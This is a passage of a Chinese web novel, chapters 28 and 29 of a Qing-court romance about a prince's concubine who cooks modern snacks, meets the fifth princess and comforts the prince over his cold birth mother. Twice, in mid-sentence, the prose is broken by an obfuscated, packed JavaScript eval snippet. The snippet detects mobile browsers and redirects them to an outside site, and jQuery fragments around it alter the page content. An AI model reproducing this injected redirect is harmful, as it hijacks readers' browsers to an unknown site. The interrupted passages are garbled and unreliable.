他晚膳是在寿萱殿用的,比起两个月前,他身子结实了不少,老一辈人疼孙儿,最明显的就是一个劲儿往孙儿手里塞吃的,生怕饿着,太后也是如此,专门让小厨房准备了胤祺素日爱吃的膳食,膳后太后免不了念叨几句。 “照顾好自己、不要太辛劳。”这些话是老生常谈,不过这次又多了句——“要照看好有孕的马佳氏。” 虽没有提宜妃,可祖孙俩心照不宣,太后知她记恨当年夺子之事,可几次三番插手胤祺之事,太后早已心生不满。 马佳氏虽是宜妃的人,毕竟怀的是胤祺的孩子,太后也就软了态度。 但夹在中间的胤祺左右为难,一边是生恩,一边是养恩,几乎压得他喘不过气。 直到看见刘菽圆,胤祺这才弯了唇角。 刘菽圆身着水绿色素绸中衣,外披一件鹅黄色坎肩,头发用一支素簪松松挽起,鬓发微湿,面容莹润,两缕湿发黏在白净的肩膀,整个人像熟透的水蜜桃,周身还带着清幽的茉莉香气。 见到胤祺,刘菽圆先是愣了下,但只一瞬便恢复正常:“五爷过来,怎么不叫李公公提前打个招呼?妾身也好提前预备着。” 胤祺的目光紧紧围绕在她身上,带几分欣赏之意,刘菽圆平日打扮得简单素净,没想到褪去钗环后清丽淡雅,更显几分柔态。 胤祺郁闷又烦躁的心一下被抚平了。 昏黄的烛火下,少女的身影格外清晰,她的脸颊圆润了些,衬得人更加娇憨,说话时尾音轻轻扬起,带着几分嗔怪,听着他心里像被羽毛轻轻扫过,一阵酥麻。 “有点想你,就过来了。”胤祺的话直白得很,听得刘菽圆心里一颤,下一瞬,她便被拉至身前,肩上一沉。 “让我靠一会儿。” 刘菽圆感觉胤祺好像很累的样子,想到白日里宜妃和荣妃的谈话,她没多言,只是轻轻拍了拍胤祺的后背,陪他静静地坐着。 烛芯上的火苗“噼啪”响了一声,火苗晃了两晃,在帐上投下的光影也跟着颤了颤。 刘菽圆忽然惊慌出声:“五爷!有狗!” “哪里?” 胤祺一转头,却见刘菽圆坐在床沿,借着漏进床帐的烛光,将手指的影子投在帐上,拇指和食指做成尖尖的耳朵形状,其余手指并拢成身体,活脱脱一只可爱的小狗。 “五爷,咬你来喽。” 刘菽圆故意粗着声音,指尖慢慢向胤祺的方向移动,那小狗便在帐上一颤一颤地蹦跳起来,胤祺望着她故作凶样,装小狗咬人的模样,忍不住笑出了声。 烛火映着她的侧颜,眉眼弯弯,连带着屋内的光线都柔和了许多。 刘菽圆见他笑了,正想收回手,忽地手背一暖,而后紧贴上一副发烫的胸膛,熟悉的沉香气息迅速涌了过来。 “是啊。” 胤祺从背后环抱着她,下巴轻抵在她的肩头,温热的呼吸扫过脖颈,“还很凶呢……” 28. 第 28 章 第二十八章 今儿是五月十一,宜妃的生辰。 殿内丝竹声不绝,前来恭贺的妃嫔宗室快把门槛踏破了。也是,宜妃出身镶黄旗,又是满洲大姓郭络罗氏的后代,天生美貌,入宫后就盛宠不断,还未有孕便在第一次大封后宫时晋为嫔位,后被册为宜妃,在四妃中位列第二,更难得的是接连生下三子,这样的恩宠,众妃谁不艳羡? 可她性格骄横,年轻时便得罪了不少人,也是这个缘故,康熙才决定将刚生下的五阿哥胤祺抱到宁寿宫抚养,母子二人自此分离,后来宜妃又生下九阿哥胤禟,从小十分疼爱,像是把五阿哥的那份也倾注在这个孩子身上。 三年前胤禟耳朵患痈,高烧不止,宜妃哭得死去活来,幸亏经传教士卢依道救治,这才捡回条命,也是从这时开始,宜妃更加偏爱老九。 宜妃的生辰,刘菽圆没资格去,她也懒得去,把自己钩织的红梅托戴嬷嬷呈送给宜妃,这任务便算完成了,只是背地里没少后悔,那梅花钩织怎么说也是她用心做的,就这么给了宜妃实在浪费。 可是没办法,谁让人家点明要呢。 宫里大部分人都去了宜妃那儿,她反而能在畅春园闲逛找点乐子。 畅春园是皇家园林,景致一等一的好,院内还设有专门的戏台,五爷院子附近就有一处,但刘菽圆对听戏不感兴趣,反倒好奇东边的渊鉴斋,那里面可藏有不少古书,可惜她身份不够,连门都没靠近,就被看守的绿旗兵赶走了,她还打算翻翻有什么孤本,也没这个机会了。 春芽跟在刘菽圆身后,听她嘴里嘟囔着无聊,提议道:“主子,不如咱们去划船吧?后湖里养着不少锦鲤,一边划船一边垂钓……”她说着说着双手合十,一脸憧憬,“奴婢长这么大还没有钓过鱼呢。” 刘菽圆不想打击她的信心,前湖、后湖,这可是开放给皇室成员的,她……再升升级估计能去。 “有点困了。”刘菽圆忽然停下脚步,打了个绵长的哈欠,外头日头正烈,晒得她整个人晕乎乎的,早知道外面也这么无聊,还不如回房躺着呢。 这个念头一旦冒出来,她瞬间没了别的心思。 “今日的运动量已达标,该回去歇着了。”刘菽圆立刻转了方向,“小厨房还有个西瓜没切呢……” 她加快脚步,又忙着和春芽说话,一时没留意对面草丛,险些撞到人。 “没事吧?” 刘菽圆连忙稳住身形,低头就见个粉雕玉琢的小姑娘站在对面,眨巴着大眼睛看她,小姑娘一身粉蓝色海棠纹立领旗装,领口用金线缝着滚边儿,钿子上缀着圆润的珍珠,还插着支珍珠宝石步摇,连花盆底的鞋面也绣着花卉纹样,贵气十足。 刘菽圆忍不住软了声音:“这么热的天,你怎么一个人在这儿呢?” 小姑娘却皱着眉,轻轻拂去她搭在肩膀上的手,而后仰起脸,用居高临下的目光扫了一眼刘菽圆,语气颇为高傲:“你是谁?要你多管闲事。” 刘菽圆一瞧这架势,立刻猜到她身份贵重,若是平常的宗室贵族之女,再娇纵也会顾着注重自己的仪态,可她我行我素,分明一副主人样。 “你好你好。”刘菽圆连忙屈膝行了礼,自报家门,“我是五阿哥的庶福晋刘氏。” 谁料对面听了这话,刚才那副傲气凛然的样子立刻烟消云散:“你是五哥的家眷?” 听小姑娘的语气和对胤祺的称呼,刘菽圆不难想到,眼前这位便是康熙五公主,宁安珠。 宁安珠好奇地瞧着她,既是胤祺的人,那就是自己人了,对刘菽圆的态度也缓和了几分,她绕着刘菽圆转了一圈,见她只带了个宫女,有些好奇:“你一个人在闲逛什么?” “四处走走,有益身心健康。”刘菽圆老老实实回答,之前有小全子的科普,刘菽圆对这位五公主的出身有所了解,可按她的身份,这时辰怎么也不会在这儿吧? “五公主独自出来,身边没有人伺候,小心中暑,还是快些回去吧。” “我才不要回去!”宁安珠噘着嘴,叉着腰,像是刚才被谁惹怒过一样。 宁安珠无人跟着伺候,孤零零的也是可怜,刘菽圆大她几岁,不忍心留她一人在这儿,于是缓了语气,友好地问:“那公主要不跟妾身回五爷那儿歇歇?用些糕点、茶水什么的?这日头毒,公主金尊玉贵的,万一晒黑了怎么办?” 听她对自己的关心,又是五哥院里的,宁安珠想了想,于是主动往前走了两步:“行吧,来畅春园这么久,我都没去五哥那儿坐坐,就给你个机会侍奉本公主吧。” 刘菽圆忍着笑应下,主动撑开伞,朝她的方向多挡了些,脚步也刻意放缓,迁就着她的速度:“今日是宜妃娘娘生辰,五公主没有去吗?” 宁安珠面色如常:“我不喜欢她。” 就这么水灵灵的说出来了? “她讨厌五哥,我也讨厌她!我才不要去她宫里。”宁安珠没有什么忌讳,想到什么说什么,这坦诚样儿反而叫刘菽圆惊呆了。 真是一同长大的情分,刘菽圆感慨道,亲生姊妹怕是也没有这么“护犊子”吧。 宁安珠没用早膳,又逛了这么久早就饿了,一进院子立刻盯上了桌上那盘子里金黄酥软的食物。 她凑过去深吸了一口气,感觉空气里都是奶香奶香的味道:“好香啊,这是什么?” “酸奶爆浆小面包。咬一口有酸奶流心,冰冰凉凉,可甜可好吃呢。”刘菽圆仔细将五公主的手擦拭干净,随即将瓷盘过往一推,“春芽,去把方才做的珍珠奶茶和青梅馅儿的酥饼都端来。” 宁安珠小口吃着,嘴巴填得鼓鼓囊囊,像只小仓鼠。 “你做的樱桃罐头我也吃了。”宁安珠喝了口奶茶,瞬间被嘴里的甜味惊喜到,尤其咬到弹滑的珍珠,忍不住连喝了好几口。 “二姐姐小气,只给了我三罐!还是皇玛嬷疼我,问二姐姐又要了几罐,他们说别的水果也能做罐头,我爱吃桃子,桃子也能做吗?” “当然。”刘菽圆上辈子也最爱桃罐头,“不过眼下不是桃子成熟的时节,等夏天内务府送来了桃子,妾身就再做些桃罐头,到时候一定给五公主送点。” 宁安珠美滋滋地把一块青梅酥饼塞进嘴,余光突然瞟见一抹暗紫色的旗装裙摆。 果然,下一瞬那人影就出现在眼前,正是寿萱殿的桂嬷嬷,她躬身行礼,而后语气恭敬道:“奴婢奉太后之命带五公主回去。” 宁安珠瞬间慌了,知道她没去给宜妃祝寿的事情被太后知晓,心虚地躲在刘菽圆的身后,哪里还有方才的骄傲劲儿,攥着她的衣裳怎么也不松手。 “太后娘娘疼爱五公主,怎会真的惩罚您?”刘菽圆轻轻拍了拍她的手背,温柔道,“依妾身看,等会儿见到太后,您撒个娇、认个错,保管她老人家眉开眼笑,什么气都消了。” 宁安珠咬着唇沉默了一瞬,想了想是这个理,这才慢慢松开手,随嬷嬷一道离开,走到宫门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296674|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她忽然回头:“你请我吃了面包,本公主礼尚往来,明日叫人给你送点我喜欢吃的。” 望着五公主的轿辇渐渐走远,刘菽圆伸了伸懒腰,嘴角忍不住弯了弧度,小姑娘还挺可爱的。 “春芽,咱们也回吧,该睡午觉了。” * 宜妃一向喜爱书法,尤其偏爱赵孟頫的字,胤祺便亲手临摹了赵孟頫的《寿春堂记》,配上紫檀木轴作为寿礼,谁知去宜妃殿的路上,却遇到了九阿哥胤禟身边的小太监,正着急地来回踱步。 “小成子,这是怎么了?” 小成子见来人是五阿哥,像抱住救命稻草一般跪在地上,死死抓着他的衣摆:“五爷,您救救奴才吧。” 原来胤禟给宜妃准备的生辰礼是枚银质镂空的香薰球,上面嵌着红蓝宝石点缀,里面的香料是胤禟特意从南洋买来的龙涎香,混着沉香调配而成的,转动时香气缓缓散发,能凝神静气,舒缓心神。 可方才大阿哥胤禔路过,他身边的贴身太监不小心撞了小成子一下,香薰球掉到地上,里面的香料全撒了不说,球身上还磕出了一道裂痕,再往里装香料,随意一动就直接从缝隙里漏出来了。 “五爷,求您发发慈悲,给奴才一条活路吧!”小成子不停磕头,额上的红印都渗出血了,“奴才的差事没办好,九爷一定会要了奴才的命的。” 屋内刘菽圆正捏着绿豆糕,听完胤祺的复述,立刻反应过来:“所以你就把自己准备的礼物,以九阿哥的名义呈上去了?” 胤祺点了点头,目光盯着杯盏中漂浮着的普洱茶叶,神色落寞。 “你这是被道德绑架了啊。”刘菽圆直接点明了小成子的心思,“也就五爷您心善,才被他揪住不放,有本事他去找撞他的人啊……” 可瞧着胤祺那失落样儿,刘菽圆有几句真话也不好明面告诉他。 宫里人都知道,宜妃很疼胤禟,就算生辰礼坏了破损了,也不会真的怪罪,反而会在外人面前拼命给自己儿子说好话,维护他,可小成子不一样,他只是个奴才,主子交代的差事没办好,小命可就危险了。 可话又说过来了,胤禟知道他准备的是什么礼物,就算一时有书法顶着,难道事后他不会追问?不会算账吗?胤褆是阿哥,他不会苛责,但小成子必然会受罚,这么看,胤祺这忙岂不是白帮了? “我也是见他可怜……”胤祺终于开口,语气透出几分疲惫,他眼神一暗,缓缓道,“而且就算没有这档子事,我的礼物,额娘也未必会收下,借老九的名义得额娘一笑也挺好的。” 渴望母爱的可怜小孩啊…… 刘菽圆在心里叹了句,世上偏就有这样的母亲,同样是自己亲生的,态度却是天壤之别,无论被冷落的小孩做什么,说什么,永远不会打动他们,那颗心就像寒冰做的,永远捂不热,宜妃和胤祺,大抵就是这般。 “五爷您累吗?”刘菽圆侧躺在榻上,背对着胤祺轻声道,“若您无论做什么,宜妃娘娘都不会给您一个好脸色,您还会继续做吗?” 胤祺没有说话,刘菽圆便也没有再问。 良久之后,她觉察到身后床榻微微一陷,刘菽圆侧过身,发现胤祺躺在了她的身侧,还闭着双眼。 “你怎么也躺下了?” “我也中暑了……要睡一觉了。” 说完,胤祺大手一伸,直接将刘菽圆揽进了怀里,鼻尖闻着她身上淡淡的茉莉香,原本急促的心跳,也渐渐平稳下来。 29. 第 29 章 第二十九章 五公主言而有信,第二天一早就派寿萱殿的小太监送来了回礼。除了云片糕、荔枝蜜饯、普洱茶,居然还有个回疆进贡的哈密瓜! 要知道这可是清朝,能见到这玩意儿实在罕见!除了万岁爷、太后能得整瓜,也就太子、受宠的公主和年长的皇子能分得半瓜,其余的人能吃上一两片便是皇帝的恩赐了。 “刘庶福晋,奴才奉公主之命,给您分瓜。”一个圆胖的太监慈眉善目地笑着,“五公主感激您昨日相伴,交代了奴才现场切开,叫您瞧这第一眼,这可是天赐的恩宠,奴才侍奉五公主十几年,还从未见她这般看待一个人,刘庶福晋,您的福气在后头呢。” 太监这话听得刘菽圆一愣一愣的,不过也能理解,新疆这地方在清朝确是遥远,在现代司空见惯的哈密瓜也格外珍贵。 没想到五公主还挺看重她的。 “妾身多谢公主赏赐。”刘菽圆弯膝行礼。 分瓜讲究“现切现尝”,盛放果肉的瓷盘得先用沸水烫一遍,再用冰镇过的帕子擦拭干净,就连所用的银刀长短都是细细算过的。 那太监用银刀顺着瓜身的网纹轻轻一划,汁水便涌了出来,“噗”的一声,独属于哈密瓜的清甜香气瞬间弥漫整个院落,露出的果肉肥厚绵密,每一片都被切成大小相等的薄片,整齐地码在白瓷盘中,叫人看着就有食欲。 “刘庶福晋,那您享用吧,奴才回寿萱殿复命了。”太监笑眯眯的,活像个弥勒佛,刘菽圆赶忙出身唤住,“这一整个……” 刘菽圆没有明说,那太监立马懂了:“五公主说五爷课业辛苦,太后她老人家思念得紧,这瓜一半是五公主给您的赏赐,一半是太后对五爷的关爱,您就放心吃吧。” 她不禁慨叹一声,有这奶奶、有这妹妹,胤祺一直纠结他那亲妈干嘛…… * 民间有俗语“冬至馄饨夏至面”,说是夏至这天正午之前吃碗面,能避暑气。 万岁爷早早传旨,命御膳房按着后宫众人的口味准备面食,整个御膳房热火朝天,周福海也被拉来帮忙,一大早领着人熬制各种卤子,像热锅上的蚂蚁,忙得不可开交。 负责传膳的小太监们则照着单子,将各宫主子的膳食仔细装进食盒,附上红纸写的字条,等各宫中人拿着令牌交接,康熙的是龙须面配着海味高汤,太后则是羊肉汤面,都是做惯了的差事,又有大太监管着秩序,倒也有条不紊。 刘菽圆早膳用的是猪骨清汤蔬菜面,里面切了几片卤猪肉,加了炒鸡蛋碎、菠菜和豆芽,只用酱油、盐、醋简单调味,就很美味了,她这份还特意泼了一勺虾油,最后连汤都喝得一滴不剩。 但好吃是好吃,她总觉得缺了点什么,如果此时有一碗辣面就好了。 比如火鸡面。 “火鸡面?要把腌制后的鸡烘烤吗?”春芽闻言忍不住吞了下口水,“就像主子您之前做的烤鸡一样,把烤鸡撕成丝儿,再和面条拌起来?” 刘菽圆听了直呼厉害,都学会举一反三了:“你这个想法不错,但我这个可不太一样,它又辣、又甜……”刘菽圆说着说着没了耐心,立刻穿鞋冲向小厨房,“我去瞅一眼有没有配料。” 其实火鸡面的灵魂就是那股子甜辣味,小厨房正好有晒干的辣椒,刘菽圆便舂成细粉一旁备用,她还找到了蜂蜜和绵白糖,配料就黄豆酱、江南的虾酱和鱼露,都是之前做好的。 她记得前些天吃油泼面,膳房送了一小碟剁椒,那个油汪汪的特别好吃,辣味也足,刘菽圆顺便让小全子再拿些黄芥末。 “现熬的猪油小火熬化,这样酱料就能挂在面条上了。”刘菽圆在锅里放姜蒜末炒香,把所有辣椒放进去一起炒出红油,再放入其他配料,不停搅拌直到酱料变得浓稠,最后撒一把芝麻碎,就成了。 可她尝了一口,却皱起了眉头,火鸡面要够辣才好吃,现在甜度是够了,辣味没跟上,总觉得少了点意思,不然吃了也不过瘾啊。 春芽与佩兰相互对了个眼神,主子一向嗜辣,前些日子做的辣条就辣得她直掉眼泪,她现在想起来还后怕呢。 等会……辣条! “主子,畅春园备的辣椒和紫禁城的不同,大清地大物博,辣椒也分地域品种,要不咱们用之前做辣条时的那种?奴婢记得您吃得满脸通红,眼眶子里都蓄着泪,那种辣椒做这个火鸡面酱,说不定刚好呢。” 对喔!她怎么把这一岔忘了。 不过谁吃的满脸通红,险些哭了呢! 四川的朝天椒的确给力,磨成粉辣度更高,巧的是周福海那里还真留着几罐,他本来想自个儿偷摸做个酸辣粉解馋,见刘菽圆要,爽快地全给了她。 刘菽圆摩拳擦掌,按照步骤又做了一遍,这次的味儿就更像了,虽然做不到完全一样,七八分还是有的,在食材有限的情况下已经很像了,刘菽圆继续洗脑自己,与超市卖的相比,就只剩下添加剂了。 “主子,原来火鸡面就是辣椒拌面啊……”春芽耷拉着眼,她还以为有烤鸡呢,一点肉星儿都没有为何还叫火鸡面呢? 刘菽圆捏着勺子愣了下,好问题! 好像原版确实加了鸡肉粉还是牛肉粉提味,不过她也不是大厨非要一比一还原,味道差不多就行了。 “春芽,叫小全子再跑一趟膳房,让他们备一份麻酱、细面条、煎鸡蛋,再来份炸鸡。”刘菽圆现在有赏赐在手,也算个小小富婆,这么热的天小全子来回跑,她自然是要给辛苦费的,“这个方子拿好了,一会儿多做些,我们一起吃。” 麻酱火鸡面黏黏糊糊的,面条吸满了汤汁,一口下去甜辣适当,辣得人鼻尖冒汗,却忍不住再夹一筷子,配上炸得酥脆的炸鸡,油香四溢,再来口煎蛋…… 刘菽圆舒服地长叹一声,御膳房的汤面、拌面是好吃,可吃惯了大鱼大肉,偶尔来点泡面火鸡面,这日子才叫一个美。 刘菽圆准备的甜品是牛奶豆腐花,嫩滑冰凉的豆腐花浇上甜甜的牛奶糊拌匀,在冰鉴里冻两个时辰,然后用刀切成小块淋一勺桂花蜜,她还做了些之前喝烧仙草时的同款配料,豆腐花入口即化,冰镇后更显冰爽轻盈,豆香与奶香交织在口腔,还有恰到好处的坚果脆、软糯的珍珠圆子,混在一起送进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300664|181554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口里,妥妥的满足与幸福。 其实她选这一道甜品还有个原因——牛奶解辣。 她还是低估了四川朝天椒的威力,吃到最后整个喉咙都火辣辣的,刘菽圆一个劲儿往嘴里扇风,最后一筷子怎么都不敢进嘴。 直到胤祺迈步进来,刘菽圆才从辣的怀疑人生的状态中抽离出来,斯哈斯哈地行了礼。 “这是吃什么呢?闻着香喷喷的。”胤祺凑近一看,面的样式和味道都很陌生,便知又是刘菽圆的新点子,“今儿御膳房送的面不合胃口吗?” 她哪儿敢摇头,早膳那面,她连汤都喝光了。 “正好我饿了,来一碗吧。”胤祺眉头一动,冲着刘菽圆挑了挑眉。 刘菽圆惊愕地抬起头,那表情分明在说:“确定吗?我嘴都辣得像涂了口脂,你还要拭吗?” 胤祺瞧她这副模样,不由弯了弯唇,他今儿是在寿萱殿用的膳,宁安珠一向起得迟,这个点通常只有他与太后两人。 酱肉拌面他只没怎么动,反倒觉得太后的羊肉汤面格外美味,没有外人在,太后自然不讲究那么多,叫嬷嬷拿小碗分了半碗,本想着吃尝几筷子,结果最后大半碗都进了他的肚子。 宜妃生辰礼的事情,太后也听闻了,如预料的那般,宜妃一听那书法是胤祺的,立马叫人扔进库房里,太后本以为胤祺会因此萎靡不振,见他神色如常,并未受到影响,总算松了口气。 “这次辣椒我就放了一点点,真的就一点点。”刘菽圆凑到胤祺跟前,捏住拇指和食指指尖,语气满是诚恳,“若是还觉得辣就先喝点茶,小全子已经去拿新做的牛奶豆腐花了,那玩意儿解辣。” 到了这个地步,刘菽圆也不在乎“嗜辣星人”的人设崩塌了,要真把人家阿哥辣出什么问题,挨罚受责的可是她自己! 好在胤祺吃着味儿正好,微微的辣味反而增添了面的鲜香,他就着炸鸡吃了一大碗,连那份放了红豆的牛奶豆腐花也吃了个精光。 “这个不错,给寿萱殿也送上两份,一份多搁些牛乳,再放上炒米与奶嚼口,五妹妹爱吃绿豆沙,她那份浇半勺就行。”胤祺颇为细心地嘱咐着李德禄,语气里满是对皇玛嬷与宁安珠的关爱。 如今他已看清,身边真切的关怀要比那虚无缥缈的母爱可贵许多。 望着他舒展的眉眼,刘菽圆不禁感慨,这个小苦瓜终于想开了。 * 第二日,刘菽圆叫上春芽、佩兰和小全子,在院里玩起了抖空竹。 没想到小全子平日看着不显山不露水,还真有两把刷子,什么“金鸡上架”、“翻山越岭”各种招式看得她眼花缭乱。 真是真人不露相,满分大佬初入新手村啊! 刘菽圆那三脚猫功夫几下就被他的空竹技艺比下去,她爽利地认了输,笑着赔了一碗芝麻糊,正向小全子讨教秘诀时,一个小太监突然匆匆忙忙地跑了进来。 刘菽圆认出这是跟在胤祺身边的小太监,心里一慌,立即站起身:“怎么了?” “庶、庶福晋!不好了!五爷在御马场赛马,不小心从马上摔下来了!”